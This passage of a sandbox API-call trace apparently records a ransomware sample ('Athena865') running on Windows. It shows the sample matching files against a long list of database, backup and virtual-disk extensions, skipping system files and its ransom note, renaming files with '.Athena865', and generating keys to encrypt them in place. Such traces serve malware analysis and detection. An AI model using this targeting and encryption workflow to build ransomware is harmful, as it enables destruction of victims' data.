returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.338] lstrlenW (lpString="maf") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.338] lstrlenW (lpString="maq") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.338] lstrlenW (lpString="mar") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.338] lstrlenW (lpString="marshal") returned 7 [0138.338] lstrcmpiW (lpString1="812.WMF", lpString2="marshal") returned -1 [0138.338] lstrlenW (lpString="mas") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.338] lstrlenW (lpString="mav") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.338] lstrlenW (lpString="maw") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.339] lstrlenW (lpString="mdbhtml") returned 7 [0138.339] lstrcmpiW (lpString1="812.WMF", lpString2="mdbhtml") returned -1 [0138.339] lstrlenW (lpString="mdn") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.339] lstrlenW (lpString="mdt") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.339] lstrlenW (lpString="mfd") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.339] lstrlenW (lpString="mpd") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.339] lstrlenW (lpString="mrg") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.339] lstrlenW (lpString="mud") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.339] lstrlenW (lpString="mwb") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.339] lstrlenW (lpString="myd") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.339] lstrlenW (lpString="ndf") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.339] lstrlenW (lpString="nnt") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.339] lstrlenW (lpString="nrmlib") returned 6 [0138.339] lstrcmpiW (lpString1="12.WMF", lpString2="nrmlib") returned -1 [0138.339] lstrlenW (lpString="ns2") returned 3 [0138.339] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.339] lstrlenW (lpString="ns3") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.340] lstrlenW (lpString="ns4") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.340] lstrlenW (lpString="nsf") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.340] lstrlenW (lpString="nv") returned 2 [0138.340] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.340] lstrlenW (lpString="nv2") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.340] lstrlenW (lpString="nwdb") returned 4 [0138.340] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.340] lstrlenW (lpString="nyf") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.340] lstrlenW (lpString="odb") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.340] lstrlenW (lpString="odb") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.340] lstrlenW (lpString="oqy") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.340] lstrlenW (lpString="ora") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.340] lstrlenW (lpString="orx") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.340] lstrlenW (lpString="owc") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.340] lstrlenW (lpString="p96") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.340] lstrlenW (lpString="p97") returned 3 [0138.340] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.341] lstrlenW (lpString="pan") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.341] lstrlenW (lpString="pdb") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.341] lstrlenW (lpString="pdm") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.341] lstrlenW (lpString="pnz") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.341] lstrlenW (lpString="qry") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.341] lstrlenW (lpString="qvd") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.341] lstrlenW (lpString="rbf") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.341] lstrlenW (lpString="rctd") returned 4 [0138.341] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.341] lstrlenW (lpString="rod") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.341] lstrlenW (lpString="rodx") returned 4 [0138.341] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.341] lstrlenW (lpString="rpd") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.341] lstrlenW (lpString="rsd") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.341] lstrlenW (lpString="sas7bdat") returned 8 [0138.341] lstrcmpiW (lpString1="5812.WMF", lpString2="sas7bdat") returned -1 [0138.341] lstrlenW (lpString="sbf") returned 3 [0138.341] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.341] lstrlenW (lpString="scx") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.342] lstrlenW (lpString="sdb") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.342] lstrlenW (lpString="sdc") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.342] lstrlenW (lpString="sdf") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.342] lstrlenW (lpString="sis") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.342] lstrlenW (lpString="spq") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.342] lstrlenW (lpString="te") returned 2 [0138.342] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.342] lstrlenW (lpString="teacher") returned 7 [0138.342] lstrcmpiW (lpString1="812.WMF", lpString2="teacher") returned -1 [0138.342] lstrlenW (lpString="tmd") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.342] lstrlenW (lpString="tps") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.342] lstrlenW (lpString="trc") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.342] lstrlenW (lpString="trc") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.342] lstrlenW (lpString="trm") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.342] lstrlenW (lpString="udb") returned 3 [0138.342] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.342] lstrlenW (lpString="udl") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.343] lstrlenW (lpString="usr") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.343] lstrlenW (lpString="v12") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.343] lstrlenW (lpString="vis") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.343] lstrlenW (lpString="vpd") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.343] lstrlenW (lpString="vvv") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.343] lstrlenW (lpString="wdb") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.343] lstrlenW (lpString="wmdb") returned 4 [0138.343] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.343] lstrlenW (lpString="wrk") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.343] lstrlenW (lpString="xdb") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.343] lstrlenW (lpString="xld") returned 3 [0138.343] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.343] lstrlenW (lpString="xmlff") returned 5 [0138.343] lstrcmpiW (lpString1="2.WMF", lpString2="xmlff") returned -1 [0138.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.Athena865") returned 71 [0138.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.athena865"), dwFlags=0x1) returned 1 [0138.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.346] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4042) returned 1 [0138.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.347] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.347] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.347] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12d0, lpName=0x0) returned 0x154 [0138.354] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12d0) returned 0x100000 [0138.357] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.357] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.357] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.359] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.359] CloseHandle (hObject=0x154) returned 1 [0138.359] CloseHandle (hObject=0x17c) returned 1 [0138.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="..") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="windows") returned -1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="bootmgr") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="temp") returned -1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="pagefile.sys") returned -1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="boot") returned 1 [0138.359] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ids.txt") returned 1 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2="ntuser.dat") returned -1 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2="perflogs") returned -1 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2="MSBuild") returned -1 [0138.360] lstrlenW (lpString="J0196164.WMF") returned 12 [0138.360] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0196164.WMF" | out: lpString1="J0196164.WMF") returned="J0196164.WMF" [0138.360] lstrlenW (lpString="J0196164.WMF") returned 12 [0138.360] lstrlenW (lpString="Athena865") returned 9 [0138.360] lstrcmpiW (lpString1="96164.WMF", lpString2="Athena865") returned -1 [0138.360] lstrlenW (lpString=".dll") returned 4 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".dll") returned 1 [0138.360] lstrlenW (lpString=".lnk") returned 4 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".lnk") returned 1 [0138.360] lstrlenW (lpString=".ini") returned 4 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".ini") returned 1 [0138.360] lstrlenW (lpString=".sys") returned 4 [0138.360] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".sys") returned 1 [0138.360] lstrlenW (lpString="J0196164.WMF") returned 12 [0138.360] lstrlenW (lpString="bak") returned 3 [0138.360] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.360] lstrlenW (lpString="ba_") returned 3 [0138.360] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.360] lstrlenW (lpString="dbb") returned 3 [0138.360] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.360] lstrlenW (lpString="vmdk") returned 4 [0138.360] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.360] lstrlenW (lpString="rar") returned 3 [0138.360] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.360] lstrlenW (lpString="zip") returned 3 [0138.360] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.361] lstrlenW (lpString="tgz") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.361] lstrlenW (lpString="vbox") returned 4 [0138.361] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.361] lstrlenW (lpString="vdi") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.361] lstrlenW (lpString="vhd") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.361] lstrlenW (lpString="vhdx") returned 4 [0138.361] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.361] lstrlenW (lpString="avhd") returned 4 [0138.361] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.361] lstrlenW (lpString="db") returned 2 [0138.361] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.361] lstrlenW (lpString="db2") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.361] lstrlenW (lpString="db3") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.361] lstrlenW (lpString="dbf") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.361] lstrlenW (lpString="mdf") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.361] lstrlenW (lpString="mdb") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.361] lstrlenW (lpString="sql") returned 3 [0138.361] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.361] lstrlenW (lpString="sqlite") returned 6 [0138.361] lstrcmpiW (lpString1="64.WMF", lpString2="sqlite") returned -1 [0138.361] lstrlenW (lpString="sqlite3") returned 7 [0138.361] lstrcmpiW (lpString1="164.WMF", lpString2="sqlite3") returned -1 [0138.362] lstrlenW (lpString="sqlitedb") returned 8 [0138.362] lstrcmpiW (lpString1="6164.WMF", lpString2="sqlitedb") returned -1 [0138.362] lstrlenW (lpString="xml") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.362] lstrlenW (lpString="$er") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.362] lstrlenW (lpString="4dd") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.362] lstrlenW (lpString="4dl") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.362] lstrlenW (lpString="^^^") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.362] lstrlenW (lpString="abs") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.362] lstrlenW (lpString="abx") returned 3 [0138.362] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.362] lstrlenW (lpString="accdb") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accdb") returned -1 [0138.362] lstrlenW (lpString="accdc") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accdc") returned -1 [0138.362] lstrlenW (lpString="accde") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accde") returned -1 [0138.362] lstrlenW (lpString="accdr") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accdr") returned -1 [0138.362] lstrlenW (lpString="accdt") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accdt") returned -1 [0138.362] lstrlenW (lpString="accdw") returned 5 [0138.362] lstrcmpiW (lpString1="4.WMF", lpString2="accdw") returned -1 [0138.363] lstrlenW (lpString="accft") returned 5 [0138.363] lstrcmpiW (lpString1="4.WMF", lpString2="accft") returned -1 [0138.363] lstrlenW (lpString="adb") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.363] lstrlenW (lpString="adb") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.363] lstrlenW (lpString="ade") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.363] lstrlenW (lpString="adf") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.363] lstrlenW (lpString="adn") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.363] lstrlenW (lpString="adp") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.363] lstrlenW (lpString="alf") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.363] lstrlenW (lpString="ask") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.363] lstrlenW (lpString="btr") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.363] lstrlenW (lpString="cat") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.363] lstrlenW (lpString="cdb") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.363] lstrlenW (lpString="ckp") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.363] lstrlenW (lpString="cma") returned 3 [0138.363] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.364] lstrlenW (lpString="cpd") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.364] lstrlenW (lpString="dacpac") returned 6 [0138.364] lstrcmpiW (lpString1="64.WMF", lpString2="dacpac") returned -1 [0138.364] lstrlenW (lpString="dad") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.364] lstrlenW (lpString="dadiagrams") returned 10 [0138.364] lstrcmpiW (lpString1="196164.WMF", lpString2="dadiagrams") returned -1 [0138.364] lstrlenW (lpString="daschema") returned 8 [0138.364] lstrcmpiW (lpString1="6164.WMF", lpString2="daschema") returned -1 [0138.364] lstrlenW (lpString="db-journal") returned 10 [0138.364] lstrcmpiW (lpString1="196164.WMF", lpString2="db-journal") returned -1 [0138.364] lstrlenW (lpString="db-shm") returned 6 [0138.364] lstrcmpiW (lpString1="64.WMF", lpString2="db-shm") returned -1 [0138.364] lstrlenW (lpString="db-wal") returned 6 [0138.364] lstrcmpiW (lpString1="64.WMF", lpString2="db-wal") returned -1 [0138.364] lstrlenW (lpString="dbc") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.364] lstrlenW (lpString="dbs") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.364] lstrlenW (lpString="dbt") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.364] lstrlenW (lpString="dbv") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.364] lstrlenW (lpString="dbx") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.364] lstrlenW (lpString="dcb") returned 3 [0138.364] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.365] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.365] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.Athena865") returned 71 [0138.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.athena865"), dwFlags=0x1) returned 1 [0138.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.367] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1970) returned 1 [0138.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.367] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.368] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.368] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.368] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac0, lpName=0x0) returned 0x154 [0138.370] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac0) returned 0x100000 [0138.381] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.382] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.382] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.383] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.383] CloseHandle (hObject=0x154) returned 1 [0138.383] CloseHandle (hObject=0x17c) returned 1 [0138.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.383] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: 